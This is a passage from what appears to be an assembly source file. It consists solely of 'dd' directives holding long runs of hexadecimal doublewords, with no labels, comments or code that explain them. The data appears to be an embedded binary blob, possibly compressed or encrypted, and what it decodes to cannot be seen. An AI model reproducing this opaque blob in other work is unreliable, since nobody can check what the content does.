9AF20F01h, 28055B00h dd 0E0E35A00h, 1150C969h, 0FA9177Eh, 108114FFh, 0FE66C40h dd 0A3AD51FDh, 4888D49Ch, 28451119h, 58B0626Dh, 6BC81458h dd 12D68E9Ch, 158C880Fh, 243D3C58h, 0F05B0A5h, 48409D26h dd 65B88D46h, 41B30382h, 0EE93C756h, 8358B5F9h, 0A40A6A80h dd 70B01F66h, 0F43C42E6h, 0B848EC76h, 860796C8h, 0F5FA95FCh dd 0E84067C5h, 9326080Fh, 8050E3EAh, 12B7E1F0h, 31FC8C72h dd 431451E0h, 14C441B0h, 77D12634h, 0E45B15h, 0C6168004h dd 7E8A59Bh, 1CACDDB5h, 76DED0D9h, 22240FF0h, 0AB093808h dd 26B0215Ch, 6AE165FBh, 98EF8C48h, 151B0890h, 12011484h dd 668CBD91h, 0C1450BE8h, 539BC281h, 0DC4886F7h, 7D78C7F8h dd 0AB151CFCh, 0F9E60D7Fh dd 0FFC843C1h, 0DE540E0h, 0CC105360h, 224E90Bh, 0E62DE0C9h dd 0C8850254h, 449840A7h, 0B739A835h, 0E8E1CF05h, 4C908FC5h dd 49908Ah, 0DF10EFACh, 0CBAB7ABCh, 502460F9h, 3F461820h dd 179F2E4h, 41EB8FB7h, 95DB928Ch, 0B4E108h, 307CD64Ch dd 6DA5DDh, 0DEDAF814h, 0C6865F74h, 947868C0h, 4810E96Ah dd 0E8008C07h, 6B0C5B1Ch, 77028E17h, 0AF2BE331h, 0DF94A0A1h dd 0E32CE18h, 5BAC7BA7h, 5A69A30Eh, 50EEAC90h, 5CEDCF00h dd 0BBDB86BAh, 0D41518E6h, 9BC0702Dh, 0EA38B50Ch, 7F5110h dd 22865504h, 0FD016F9h, 61F44CA0h, 9F76E083h, 0C57CF6h dd 43E34C96h, 0FCF73C50h, 7FAA0D0Fh, 24F380A4h, 5D3468h dd 11AB12CAh, 0D35679CFh, 6603E300h, 4B19C00Eh, 45581C2Ah dd 5571C020h, 0AFA9C44Ch, 5E43C107h, 8DF08335h, 0C2A102h dd 0E890104Eh, 8B8D8B7h, 3ED1F700h, 0D5D05803h, 0ABF0019Fh dd 0EF2BB9B2h, 6A83FC1Eh, 0E5C79B00h, 2C532A19h, 0EB870027h dd 0D371FE13h, 5800F8C5h, 4B63B80Ah, 1070B78h, 18B63AE7h dd 0E4E99DFAh, 0CE0F996Eh, 0FD87ACA5h, 0D37C5D40h, 986B799Ah dd 7E9100D7h, 7ADBB5F9h, 0D03EFE84h, 0E02CE0B4h, 0B9A84Eh dd 3D9E412Eh, 4FC12F20h, 0BEA1EA01h, 0BF6B8A69h, 1EA305D0h dd 1F9C38F6h, 820806Ah, 5F7C6E90h, 0E5F1C500h, 5A2E2612h dd 0C76B1F37h, 0FA9A1E11h, 0D5046C29h, 3E1897D8h, 9200126Eh dd 0EC1FA907h, 9C00CF06h, 1CB97F7Dh, 71868DEh, 3EB6797h dd 6EF3210Ch, 13288843h, 2193849Dh, 645B0857h, 99874478h dd 4F1DFC44h, 0E508B18Fh, 2B145F94h, 0BA3A0828h, 26630474h dd 711D0402h, 9D437F48h, 37A128D1h, 0ABF21014h, 0C244765Eh dd 79566FBBh, 7B84F2C8h, 37045DBEh, 0C9324480h, 29D6DF46h dd 40342C38h, 0BB1885Bh, 42D72800h, 0A69B0DF9h, 73770758h dd 478AC57Ah, 68A0FE1Dh, 4841FFD0h, 6900E9E6h, 21296A3h dd 7747571h, 9C0D94B6h, 0BBD303A0h, 21957A80h, 9F32060Eh dd 0D58D2059h, 6D4E72h, 0FFDD086Eh, 0E8DE5020h, 88ECA500h dd 46F287B3h, 0A9AC1E1Dh, 369E13h, 0E07EE8F5h, 7A00582Eh dd 0AF5EDCFCh, 9F038Fh, 0AA3E3D56h, 15BB6401h, 0FD419503h dd 9009FFDBh, 0B9E9D5h, 3E115B89h, 6B9E707Eh, 0A6001490h dd 77B019D0h, 3064D1C8h, 0EA9005EFh, 0F80E9F30h, 4136FC59h dd 0C17FBE5Fh, 0BFFAC2D8h, 460F2B70h, 0C024B6EFh, 0DD67CD2Ah dd 321F003Bh, 37C565FFh, 9300D29Fh, 1BACCEE7h, 0F20584h dd 66F4C34Eh, 977E2273h, 88692333h, 0ACCCA8C9h, 9F6000F6h dd 0BAB003CBh, 0A4005CE1h, 0F37997Dh, 672F12h, 0B2B9567Bh dd 6845D179h, 197AC700h, 0BF6EE7B8h, 1B851C7Fh, 0C0BB8394h dd 0DC809EF0h, 40009DFFh, 7B5E22B2h, 0C6AE86h, 0A3CB8364h dd 63B94245h, 5D0F99F8h, 60EF0ABFh, 0BDC1984Eh, 0D020049h dd 0D0EBE537h, 6015D47h, 434CDD68h, 90C8FC34h, 0ABAA0082h dd 4F6783A5h, 0FF00E7A0h, 29B0A4BDh, 9E31B8h, 0C4B91BB3h dd 4F65ED32h, 0ACF21500h, 0E08360FBh, 797F0107h, 43C622A6h dd 4778C88Fh, 8EE8E402h, 40A72C33h, 1D59E8h, 0D41B0CAh dd 0B52798FEh, 299C0800h, 927AD7E1h, 52EF04C2h, 80711F5Ch dd 847C3CDCh, 0E165F100h, 0C1FA4F78h, 6D8A0006h, 7E5FD90Ch dd 8F2F0385h, 92F587Fh, 0AC77A35h, 8E160000h, 0A000E653h dd 551D5E1Eh, 0A0E21FA7h, 0D2C690h, 4C826637h, 2A40828h dd 21BC2200h, 46E15A3Bh, 85E40062h, 0B04449F7h, 3201F21Ch dd 0B3695523h, 6C861AFh, 7C6C007Ah, 4E8DE395h, 0ABF836D6h dd 1849C800h, 1605938h, 8715002Eh, 0E085D046h, 68005D0Ah dd 0C5FC3575h, 3A3D6232h, 7804DAFh, 0EDE64592h, 2A0282DCh dd 0DB7E054Ch, 0B000E0D3h, 491F00ACh, 625669F1h, 7D0F349Dh dd 4045F9CFh, 2EABCBB7h, 44F8CF0Ch, 0B833409Eh, 0A08F1C81h dd 0B29BD400h, 2F255BF4h, 209200EBh, 97C1B470h, 2B12CA2Eh dd 0C4187813h, 48FAC80Eh, 67399092h, 56DA8680h, 0A0A25153h dd 3B29AB00h, 0F1887762h, 843C00BCh, 0D3F99AE2h, 0A30128ADh dd 687A41B4h, 8430EC16h, 25FA0077h, 50390CA4h, 0A13FFF62h dd 0D43D80E8h, 38D9B374h, 75BB26ECh, 0AB001F4h, 0F053E07Ch dd 4900043Fh, 0AEECB3B7h, 17EF919Bh, 0AA7D4Dh, 1BC4F45Ch dd 61035F39h, 0DEBC3B85h, 0F97C0E7h, 98660310h, 0DAA35747h dd 2CFF0DA8h, 0F37A1B1Eh, 0F83F3083h, 1C8D8065h, 0A0230190h dd 0A5FCA97Eh, 0B783DC92h, 0C8CE700h, 0C641ABE9h, 196D0767h dd 0E13D5AACh, 0D01FA03Fh, 0DAF86A66h, 0CC24A100h, 0AE309041h dd 4BF200A6h, 0AC643C69h, 7A00278Eh, 0E93B3414h, 172E1793h dd 4CB5B83h, 0C05929BBh, 0B4549004h, 35A5BB00h, 0FB662327h dd 26467C06h, 182EDBh, 751BA8DEh, 0E80039A1h, 0CD9BA619h dd 275EB5h, 0A99D37B8h, 0F3EB5DFFh, 9741C0Eh, 0CFA4000Ah dd 981E49h, 59913795h, 0BEDEC64Fh, 2396EF04h, 30C04A1Bh dd 60EE1Fh, 0C9399588h, 582733A4h, 0BAC78100h, 0E49F1A9Ah dd 0D91F0383h, 8FCAE818h, 0F85CA5F8h, 3C004998h, 227F2AC5h dd 3D31D70Ah, 0C23F7AE7h, 0F7E42301h, 0D8BA64F6h, 0A14CF34Eh dd 1B3D0004h, 0D1C5B51Eh, 1F490E07h, 50001276h, 75035BA5h dd 593E8700h, 0FD02BD20h, 70410054h, 76D9B948h, 5000FFA8h dd 317EFAD4h, 2083DD0Dh, 0C31EA91Bh, 79405E6Ah, 14D75238h dd 30738Dh, 8C514A19h, 435396A8h, 0ABF6F90Bh, 720C01F7h dd 0E3ECFD2Eh, 38A90051h, 431A7A28h, 0D10080BCh, 88D3798Dh dd 9BF212h, 57831556h, 0A78576C8h, 54714300h, 38E3F6E5h dd 4718042Eh, 803F037Ah, 5D5F9E14h, 3D3A1903h, 980D6848h dd 1D785449h, 3036B1Ah, 5C916F70h, 66E0BCC0h, 13856700h dd 0D293F008h, 1C9D0030h, 4EB85BCFh, 0F7005E29h, 1A03F845h dd 1AEC447h, 410D80D2h, 0C4BA823Fh, 5E076D2Eh, 0DB61DA7Eh dd 0A25B5891h, 6CC49461h, 0AED003DFh, 5E77733Ch, 0EBF2440Fh dd 0D6ABE0F8h, 2B382CEh, 0DC5AEA8h, 40FD3096h, 0F81B216Eh dd 0CC34500Ch, 17CE0E0h, 8D70572Ah, 0ECCEFC7Eh, 2406A02Dh dd 0FA7F774Eh, 98B41408h, 9100B0F5h, 8441B76Fh, 4C75ED9Dh dd 0C7516C1Eh, 0B2E686C3h, 887AA1C0h, 76E4030h, 6B0EDAB1h dd 0BDEEB1Eh, 0F3E42600h, 9447CE3h, 54768801h, 7A955201h dd 0AD696094h, 0CC71F900h, 0CBDC05C6h, 54F03Dh, 83E8797Ch dd 0B4AE574Ch, 158BC71Ch, 0B84FCF40h, 0BA6EFBh, 93A9E612h dd 5A65BE2Fh, 0C5BA200h, 15E7130Bh, 2AFE6Fh, 0AB2705B8h dd 3002D6EFh, 70078C00h, 86017AE9h, 0CACC0015h, 0EA768A4Fh dd 44005305h, 3AB4FACEh, 0CFFE2Ah, 83CDB11Ch, 3FBC725h dd 0B73BA6FAh, 0E5CC0001h, 21942C5Dh, 0DAEC0384h, 0D04402BCh dd 31836DD8h, 9C01FE74h, 131223B5h, 0CFECD5D7h, 8264038Ah dd 0A63F88A2h, 0C286E5C0h, 46594100h, 1BCB1AFBh, 95D11F6Ch dd 5EB00B4h, 619A7AD2h, 0F74EBC0Fh, 0CFA2A0CBh, 60C2E3E9h dd 828B10F4h, 0DDFEF017h, 71050200h, 4DC6D586h, 3F79004Bh dd 0D8E5E98Fh, 0B424F50Ch, 4A03ED82h, 0AFC57569h, 9218FD40h dd 815400E1h, 24A75378h, 0B20E1BD2h, 0A1D5C7D3h, 0D84BCDBCh dd 0BBC0033h, 7D7E0443h, 0A1C20F27h, 0E6EE2A30h, 812BC7E0h dd 63003C6Fh, 0C16408BEh, 15C28Eh, 6EA1B68Ah, 4DCDA57Bh dd 61885100h, 3410E8B1h dd 69AB3F5Eh, 6DF2E300h, 0AE22C8C7h, 0A2125F2Eh, 3E5BD700h dd 0E44EC514h, 0CE7A0EF3h, 13E03F5Eh, 0A02B9A6Ch, 23025971h dd 654C3C87h, 7DE07790h, 6C7214F1h, 89BECB05h, 0DE821EBAh dd 0F9D640B4h, 0DA8D4C38h, 0F422F602h, 0CCE003B9h, 8B05895h dd 0E8C19907h, 938EFh, 48E2029Ch, 5B7630CAh, 0B1B84010h dd 743F1302h, 50800DC0h, 7C2A207Ch, 0F1431B09h, 0A300E11Eh dd 7FBA92C0h, 0A11C03A7h, 516A0DF3h, 88C074EAh, 8906FF0Ch dd 923085F0h, 8A3A0060h, 5B63E9A7h, 5000FAAEh, 5FA92C1Ch dd 6E705F2h, 1ED3FD20h, 6000A1D6h, 0C5622907h, 26E07B6Ah dd 15ED18Ah, 2C039BA8h, 9888A055h, 16284D00h, 0F4040A8Fh dd 0A4390E8Dh, 0B66037BFh, 0DB1CC232h, 0FB382100h, 0BBABD86Bh dd 0E9B3005Fh, 0DDC18334h, 9700B9E8h, 399A30F9h, 73DFF2Ch dd 529526EFh, 0F96497A2h, 0C9A4C303h, 0E44D85F1h, 4000F77Bh dd 1ABCD84Eh, 81E3E7h, 0F9CEEA55h, 69D1EB91h, 6CCD3400h dd 0B639FC66h, 8BE600EEh, 0BFB9479Bh, 96ECB46Bh, 0BE00B077h dd 0A72AE0FDh, 0FC9F97FCh, 6A0D602Fh, 6827DFCAh, 0A0C29A1Fh dd 12957D00h, 0ED20E3h, 0B77C871Dh, 0B1151EE9h, 60984900h dd 3ACEFF30h, 626403FCh, 943893ACh, 0B06DC6F0h, 82B72D39h dd 1BE07814h, 10A0808Ch, 0DA9C2Fh, 3E607032h, 33587427h dd 25BB0E3Dh, 5A5BE030h, 80D40EFBh, 0DC20963Ah, 0FE621BAAh dd 41990A12h, 0A6C6AA00h, 30836468h, 0CCC084BDh, 0F30BCF3Ah dd 20BF4616h, 7DD0558h, 1FBA00E2h, 0F383A66Bh, 0EA389ED3h dd 0EB6E0E74h, 0B040C004h, 9066CFh, 601D0936h, 980D10B2h dd 9E282B03h, 0E82E46A8h, 0CAAF4Ch, 0BFD5E59Ch, 0CE3FF11Fh dd 0B81B5600h, 80E78173h, 0CC60072Eh, 80DBA45Bh, 6F8EC9DEh dd 7E284E00h, 0C042B4FFh, 71A5005Ah, 1DE25DC7h, 2617B3FDh dd 0B00AE28h, 4C06DADEh, 9E80009Dh, 0F2A75F22h, 8460B42Fh dd 0A8B50129h, 632900EDh, 0F4B8FA1Dh, 1500A1EBh, 88D43C9Fh dd 0B6E664h, 8EC8237Ah, 4E3D980Eh, 0C971CE13h, 60297C00h dd 840F58h, 0AB360149h, 0E23E2E81h, 0B52B5428h, 115EB58h dd 27CD70DDh, 1D3A7AA8h, 3FAF40FCh, 7E394129h, 15796307h dd 90004898h, 0EE68222h, 0D97428C9h, 0A0F44A80h, 84E4BEE8h dd 0C024D402h, 80B6FB2Bh, 0AAD6E2E1h, 5B6907D8h, 0D7A47FA5h dd 8E1590FCh, 0B701CC49h, 1E0FD9DFh, 4CDC075Dh, 2C50037h dd 3DB504ADh, 0F31C5744h, 0E740A6FCh, 2FAEBAA4h, 6722003Bh dd 887F4293h, 72F0D35Fh, 634B2900h, 4C0E271h, 7D491674h dd 0E920128h, 407F0824h, 0E95B168Dh, 8718021Ch, 0FE6E5F05h dd 75FA8AC1h, 0F1DD080h, 36D765B5h, 0B91F02EEh, 8441BFA5h dd 0D5AC8074h, 649818BCh, 342F702Ch, 1E00A1FCh, 0C88081FEh dd 38AFDB5h, 655C4C7Bh, 64C8D625h, 3D00D3F0h, 0E48F1BA8h dd 7819FF3Fh, 1EF9009Ch, 5EE04A48h, 59037908h, 518FBE5h dd 1DCC888Dh, 787924h, 1E082A01h, 6ACEEF92h, 5AAD4401h dd 0F8E44C6Dh, 0F41DD320h, 1017455h, 1E403D62h, 0F8DDA649h dd 0FE070BE5h, 0FC76EC71h, 85280322h, 0EC00F7F4h, 7588F274h dd 0B4840F79h, 97E0FC0Eh, 0E4301176h, 2AF9DE00h, 788BD599h dd 0E97E00F2h, 1F92FB48h, 0D60143C8h, 0C3512F52h, 0B9E4BA84h dd 587307E8h, 0F27EDD6Ch, 7740E01Dh, 0EE009B88h, 4C97070Bh dd 515AD4h, 853104A9h, 7F87AD2Dh, 8A5F1F00h, 2896F359h dd 2EB5001Dh, 0AFBD61FFh, 0A10005E5h, 185A15B8h, 160464h dd 5DD22CA0h, 2927B648h, 0D1F0221Fh, 36F19F80h, 34F51Dh dd 3C1EDEE5h, 0A099D34Fh, 5B4C2A00h, 0A267D555h, 51631C04h dd 9880991h, 751DE400h, 0D6515C81h, 8CEF20F4h, 593A2206h dd 0B41CFDh, 390299C8h, 43672179h, 4D7E7B00h, 0F50AF252h dd 2A6F0355h, 649FB2BBh, 8600E2A3h, 3505070Ch, 6157EAh dd 0A5E4BD6Fh, 58AC2914h, 73953616h, 0DC282F19h, 0DD6ED0h dd 803D6B04h, 0E78641FDh, 0FF64BC28h, 40336600h, 686751CCh dd 5B20012h, 0FC99044Eh, 7F07F209h, 9E336F3Ah, 8F36C980h dd 28C98B6h, 3F4082A1h, 0C4802F12h, 4B4CF703h, 0AB09EA05h dd 9D80A529h, 0E3286F7Ah, 2843FBD0h, 3EE067A2h, 0EB24FEC9h dd 0C0A40014h, 0A0EA8F35h, 93810400h, 640E463Fh, 6CEC00D7h dd 0AFB677BBh, 780AC599h, 0C6BA832Dh, 6D6F6A00h, 609E8C67h dd 0D1B630B5h, 460EE624h, 1E3161ECh, 34ABD681h, 0FCC9F6F9h dd 0D34230h, 8328900Fh, 878009D9h, 32FE500h, 3AB2EE07h dd 0B72530BBh, 0B1B9F950h, 69772100h, 0AA710A93h, 4A1B1E03h dd 7B823A0Bh, 0F154DD62h, 77982043h, 0F600F85Ah, 0E4889D9Bh dd 4BDE020h, 3D60225Fh, 0D3F4C0E3h, 0C00681Ch, 0AED28608h dd 90D88C6Ch, 0AB793F14h, 4221C000h, 53367EEBh, 0B7E55200h dd 1A6A28EAh, 5CD75B4h, 73A6B60Eh, 94AC00E1h, 0E3BA012Fh dd 0AE30E512h, 26D4A000h, 4D1AB5h, 0CF238035h, 0CD814264h dd 7219DC03h, 0E8FEC7E0h, 7D0B4C0h, 68EB6BCh, 80DA44ECh dd 0A73D4F78h, 29C1A207h, 0E330BAA0h, 4B4E4CCh, 79903F94h dd 16C4A3h, 17FB22E4h, 0CB0518C1h, 0A87F64BAh, 0E4849890h dd 520D019Ah, 0BD10A1B2h, 0BF063037h, 0C56F3D00h, 0B68E68AFh dd 768500C4h, 0EE8DACE1h, 9A011A4Ch, 0F35D04B0h, 0D83054CFh dd 6F6700BCh, 7F550256h, 0DA00203Fh, 5928F552h, 23B3626h dd 0FF796ECh, 2B6027CCh, 0DF006647h, 0F0528B6Eh, 38FC4Eh dd 0D6E8D8C3h, 7689C50Bh, 0B04A8000h, 0E1374F27h, 0CE090014h dd 63BE0A3Eh, 68139A2Bh, 0F4070720h, 0D58528A5h, 0BF84D400h dd 0C09D40h, 0FEB5DB1Bh, 4174802Ah, 7309797Bh, 529948h dd 0ED0785A8h, 6D6E2C22h, 0C2F501B0h, 80D72DE1h, 5DBC9CE0h dd 0BA180Fh, 0D44AA4ADh, 7D362A76h, 2B02FA00h, 554D89Ch dd 33FB0098h, 125AA49Dh, 947045C9h, 0BFF26C1Dh, 89578E86h dd 0C300B4Ch, 0C30013E5h, 521658C5h, 700EA800h, 3819DF71h dd 71CAEEABh, 8D453D6Fh, 3E6C18E3h, 0AD204FBFh, 0EBB6BDAh dd 0C62C3B00h, 7361CDDDh, 0CFD20744h, 0EFD0F511h, 0CBA103EFh dd 0CDE7D667h, 0B91FF0F6h, 5DBD7D03h, 0B813AFAEh, 6040D471h dd 81938834h, 690F0D61h, 800B1531h, 5134716h, 56F80042h dd 0CE7D9772h, 81002390h, 0B9A191B3h, 0D3E3Ah, 70E59B57h dd 12AA3C13h, 5348D600h, 0F54B0483h, 0F77DE3h, 99180DA6h dd 64C1DA1h, 6CA2BF1Ch, 0BCD64A40h, 74E5592h, 9374A7D3h dd 0D965D07Bh, 5300ADCEh, 0EF303A81h, 3123C8Dh, 0C8FF0692h dd 35D0317Eh, 1D0019D1h, 0B0549ADh, 449D03h, 0E9CD3689h dd 3211C7BAh, 708B8C00h, 308F34A0h, 993C177Bh, 6D6C0003h dd 0F7B1FBD5h, 0B642511Ch, 0DDFC3341h, 4EC4E467h, 8B3D006Ah dd 0C049EAD6h, 60E9DBDh, 7055FA2h, 0C7403BA0h, 0E41154h dd 0EA456759h, 7CC53F99h, 66805001h, 0EF23A503h, 0FEA1E4h dd 0F5368504h, 9AD32033h, 0EC7A4600h, 4A766659h, 0F62703C1h dd 73A2AA2Fh, 0C8A03FBBh, 4EE407C4h, 50C92807h, 0ECC0DFDCh dd 717267Bh, 0BFB533E2h, 7889C35Dh, 0A585D800h, 9A456254h dd 0F4E4F85Ah, 0D35E000Fh, 856F5FFEh, 0E00028F3h, 83DFFDE8h dd 0CBAB05h, 0DC12D433h, 0DC7B42Dh, 8E00B9FAh, 8DB5C415h dd 0AA9436h, 289B29E2h, 399AFE72h, 7B32B900h, 0BEF140E3h dd 5661005Fh, 6F9E438Eh dd 2D2873C4h, 0A9009453h, 866EE29h, 0A9294h, 20D5A5FBh dd 71744603h, 80ACA139h, 63831C5Ch, 0F4622E16h, 95AF096Dh dd 3400900Ch, 71534408h, 320935F0h, 80E0401Eh, 1998373h dd 0BFFC003Eh, 549127ECh, 0E307327Ch, 4FD57353h, 0AE936917h dd 3DE00556h, 87A65985h, 0A44950A8h, 310EBE80h, 439656A7h dd 0E0D15FC0h, 174751h, 55B77A38h, 4AD65799h, 8E00A176h dd 11FBB4CEh, 7BE7E947h, 39BF7B89h, 5817C9DCh, 0C0B40C69h dd 3C00E211h, 0E84AEAC2h, 5C0687FCh, 4C063018h, 48F3027Eh dd 48B9C62Ah, 0B5A9032Eh, 0D8FAEF00h, 78AF9A1h, 0C902D66Dh dd 9636A118h, 0AEF1607Bh, 0C8CF200Fh, 73DCE0DEh, 906A1A9Eh dd 0E0F42Ah, 385331C6h, 277DFB74h, 5C6D8800h, 3B378ADCh dd 0A5D90064h, 57491B01h, 7300E9ECh, 6A71C93h, 0C2A84Ah dd 75B4F046h, 70DCC861h, 17224C01h, 5EF555F3h, 1322BE4h dd 0EBB70946h, 608A9FBEh, 0F2001B8Dh, 5D9BD304h, 0C0EA0B80h dd 0AA4E7D58h, 4707BE31h, 32161305h, 0E2B474C0h, 800A2842h dd 0D12E0E84h, 0BD20267Fh, 0DACB04E5h, 0C6088309h, 196084A3h dd 0F75027C0h, 24A61E35h, 62968AABh, 806501A5h, 70AAADD3h dd 8B0029DBh, 0DC094C43h, 18712B5Eh, 105BA02Dh, 6D00ADA6h dd 0D21153CEh, 989ABC55h, 0B2A880C6h, 235407D6h, 10364C6Ch dd 78B73D1h, 0A0F61831h, 0EDFCE726h, 371C00ADh, 1E60018Ch dd 0B407CDD3h, 324B6E62h, 20BCA09Fh, 0BAB87Ch, 11C801A9h dd 22A4046Dh, 39640604h, 65C087DFh, 3C14DE4h, 0FD9B785Fh dd 80A46D67h, 7B299FB8h, 21C8281Dh, 61802BDDh, 0AD1A680Bh dd 0FCB2033Ah, 14934827h, 91FDC7E0h, 5EF8F00h, 0DDC35D77h dd 0E59F447h, 8A73210Fh, 0AD0B46E0h, 0A101B78Dh, 0E7AB7813h dd 0FC30094Dh, 1D3D009Fh, 14AD6AA2h, 0D0703C07h, 0F9E65F09h dd 0E3F600C3h, 9F1A28h, 0D7FB3D7h, 0BB67325Dh, 0C6D57500h dd 0C5CAACDCh, 0E78E0AD3h, 20F2FC54h, 67BF0FD5h, 78FA764h dd 1035B881h, 2698FCADh, 91DFD200h, 0F970E6E9h, 46F60088h dd 2567D91Eh, 300C52Eh, 7F1ABC76h, 4D484923h, 6E00503Ah dd 0E9393446h, 2E13442Dh, 1301DA96h, 559101AEh, 48A4C2CCh dd 20428FEh, 80E2E882h, 0E71385D7h, 71455D04h, 6CD0BDB5h dd 30AA0AA9h, 16400FBBh, 900057Bh, 7C2FA55Fh, 7DA64193h dd 442200B5h, 5CD21626h, 0EB07D6D0h, 816FCB2Eh, 664D13D0h dd 333E0034h, 11E89927h, 0A03E321h, 0C0DF2918h, 1F60A6F0h dd 3DBA2B25h, 0CA6EBF00h, 61C3E37Fh, 69005CF4h, 907697EDh dd 92FD09A4h, 7D4B2688h, 0ECD42F4h, 149C9A00h, 0E82F5CC0h dd 9377E607h, 0B2A14012h, 5B01BD16h, 1788F857h, 0C44035C2h dd 3068623h, 0D496BAFAh, 60C8FBE5h, 0D9005C63h, 3DA52846h dd 192212Eh, 0CC1A4826h, 0E985608Ah, 12A720F2h, 66B6680Bh dd 64FC8083h, 58E7FFh, 0D152C4A8h, 9099FB3Bh, 33934B03h dd 8034C27Ch, 1D77E439h, 25717BEBh, 2F1261FEh, 74843805h dd 809E1C08h, 2072D776h, 87A3F647h, 296091C8h, 0D5078C00h dd 5B4E9B9Ch, 0ED452812h, 0B6C5058Ch, 0AB6A48h, 5F0E07ACh dd 5C053E77h, 5AC959CCh, 3A5DA8C8h, 5004D89h, 0C880DB45h dd 99006941h, 0E4460F1Ch, 0F930C5h, 0EA391329h, 0FE6BCC4Eh dd 31FA5E00h, 4C9B7107h, 0E4A5485Ah, 0B0DC7600h, 0D120574h dd 8C934A00h, 220C3865h, 159C1266h, 0D60003DCh, 11FA067Ah dd 0C4D7D8C1h, 4000BCA4h, 18345282h, 29905Ah, 0D939FE41h dd 1DE20609h, 365783Fh, 5152AC5Eh, 0BA7E982Bh, 5F9D0014h dd 92478323h, 763EE55Ah, 504E00C2h, 8A98FB1Ch, 165E446h dd 0BE257F9Bh, 0D090ADAAh, 6900F161h, 3A92788Fh, 6279D2h dd 0E97AABF3h, 0D515BD8h, 0FEF5281Dh, 4A23AF85h, 0E5F0E9C7h dd 7847D9AEh, 0CC1600C1h, 0F46B9C84h, 2C0178DCh, 15D103E8h dd 99C46ABBh, 179300A8h, 83F9578Dh, 28032059h, 0D6F81168h dd 0AFCAB01Ah, 847780h, 9A0A1909h, 25C2907Ah, 0F4B0431Eh dd 95807C26h, 299EC0E3h, 4A70008Fh, 457A6CC2h, 96E8CE8Dh dd 803E6D3Bh, 2F7F35BDh, 0F675482h, 23DF98EFh, 0D5160622h dd 5B07435Eh, 5330C660h, 0EC9F12E2h, 0EE5800A4h, 28AB4048h dd 6800026Dh, 0DDC05C5Dh, 120F199Bh, 137E042Fh, 6DE50018h dd 32187F7Ch, 0A4A92100h, 3FB65981h, 0C4CB239h, 7CBBC313h dd 6F005330h, 0C799F214h, 8BDCE6h, 0DFBE96Dh, 79890A5Eh dd 30403626h, 0F4538F80h, 7D2C04Ah, 0DA155BF8h, 78D6D041h dd 0F101EB19h, 0E3EC8DB0h, 80F0D324h, 6ACE00A2h, 2E7B88DCh dd 0E1C3874h, 0CAC0A98Eh, 5A47164Dh, 0C4FB0C7Fh, 0CB907280h dd 6478A500h, 0F8AAD709h, 146A165Ah, 77AC006Dh, 0A4808D1Dh dd 69077A0Fh, 90C9A0A6h, 7B13AAh, 0D99B3D57h, 0CA01C6BBh dd 0E5442A00h, 4BCD8D47h, 0B04A48A6h, 81605401h, 0F81A3518h dd 0F10074C9h, 2C08F0ABh, 2E3B20E9h, 7715F21h, 816D0FDFh dd 0EAE0D441h, 0E6CB94C0h, 5DA82F0Fh, 0C4060459h, 0C13074C0h dd 9D3930D2h, 0E6626678h, 64D5D324h, 6021CC42h, 5C3E8964h dd 6B0F04C2h, 1D402445h, 0BBC8C077h, 5107E89Ah, 5CD55593h dd 8B876420h, 0E2A70BAFh, 2C23B49Bh, 5900D768h, 0DCBB44B2h dd 25CCC67Dh, 9801369Bh, 50D0D4E2h, 3C5FA2CCh, 6503F9F8h dd 627E9261h, 8BC8856h, 0FEF0073Ah, 10E8BDC6h, 0D307A722h dd 7B470900h, 0D8DC6470h, 5F001B2h, 4BE8A218h, 8CE09692h dd 37ED00FBh, 0F92DA1BFh, 0E6E38017h, 4CF12C42h, 0FB494004h dd 256D0082h, 801A9DE4h, 0C3006F49h, 0D22839EFh, 433B95h dd 0E73D7799h, 0E9E05571h, 0EC9CFD07h, 7DD091C5h, 279ED93h dd 334486FAh, 2E0D89Dh, 312EA28Fh, 720E2060h, 874C0088h dd 11199D5h, 388BC6DCh, 20AE2A97h, 5F4DDA6Dh, 76BA0EF8h dd 47E84077h, 30469C2h, 0C6EC01A0h, 0C7AF79EBh, 654A009Ch dd 76176CA2h, 0B8004F22h, 5B8D10F1h, 108EFD58h, 0DD41887Fh dd 0E90F21B8h, 69F6E80Eh, 0C202AE98h, 50F16C15h, 148960A4h dd 3F482C10h, 80AC181Ch, 5C002D7Fh, 0EB37DE3h, 9AB86h dd 0F5A65D90h, 5AD299F6h, 683CC000h, 5CE10D87h, 8D8F0124h dd 0DF3594FFh, 0F511E07Ah, 9A06DA00h, 0B601AF52h, 6CE60065h dd 70EC051Ch, 0CA03033Ah, 0B3625BE9h, 0D3110094h, 0AEFA4493h dd 5C0FC0BAh, 8002E6C5h, 0E598998Dh, 0D4A800F2h, 0DF701630h dd 9E0089B8h, 866BCE7h, 2F4522h, 50C5C690h, 0B0E6B5C2h dd 0BF2B0700h, 96DED358h, 0CE3C1E08h, 266EB9h, 468382A3h dd 6100B1A6h, 4EC48BA0h, 87DC5Ch, 72E16089h, 0A9EA3791h dd 5AB8C74Eh, 2BFF9300h, 0D8193062h, 6A70BE74h, 0DF867A00h dd 7CC3C5E8h, 1AC8003Bh, 0A71BD9D1h, 5900B491h, 65FCE57Fh dd 51A57Eh, 8219F79h, 0C13DCE76h, 94059C92h, 6773E98Fh dd 0BD3C7880h, 0A136003Eh, 0AF1AB499h, 82012EB0h, 418B9364h dd 28F890B1h, 596D003Dh, 6485D92h, 72F67FB9h, 0EAFEFFE0h dd 57DCCFA0h, 0E7511700h, 77A68D86h, 0F9A00AAh, 21F44D58h dd 36F48771h, 0E7FE700h, 2C57CF9h, 0F894FAB6h, 0D8743E0Fh dd 90EB3C07h, 0B3B2703Eh, 0F7016583h, 0D196E3F5h, 50C039AAh dd 5DBD00EAh, 0AB564F4Eh, 7F0019DCh, 0E059687Bh, 4B644B98h dd 24C80499h, 609D208Ch, 0D7F71339h, 65B00076h, 0F23D0811h dd 9C26B60Fh, 0BD36E07Dh dd 8F97EFh, 3E053CFCh, 0E83AEA89h, 0C4AEE924h, 371ECA00h dd 0E4AC32h, 4E3EB787h, 955F7ABEh, 0DC8DE217h, 0F40A81ACh dd 9AC793h, 73589830h, 50E67A7Bh, 0B98A9C0Eh, 577E61ACh dd 91C0896Dh, 86E10055h, 0CF74ABC6h, 6307A25Ah, 90214B5Eh dd 8C0D2370h, 11EE4E8h, 6A47024Eh, 8086AF16h, 9FD7BCE9h dd 0C45F48h, 49548CB3h, 927D1C66h, 19B16100h, 0C7B7388Fh dd 0AB31034Fh, 3AE61103h, 47886E93h, 0BD00E93Fh, 0FBA872BFh dd 0B45F40h, 8EA24E86h, 58B74D68h, 0C103A400h, 0E1423C2Bh dd 0B29A00E5h, 0BE5DFF74h, 9800A8D0h, 241AC01Bh, 49844Eh dd 0FD1078E0h, 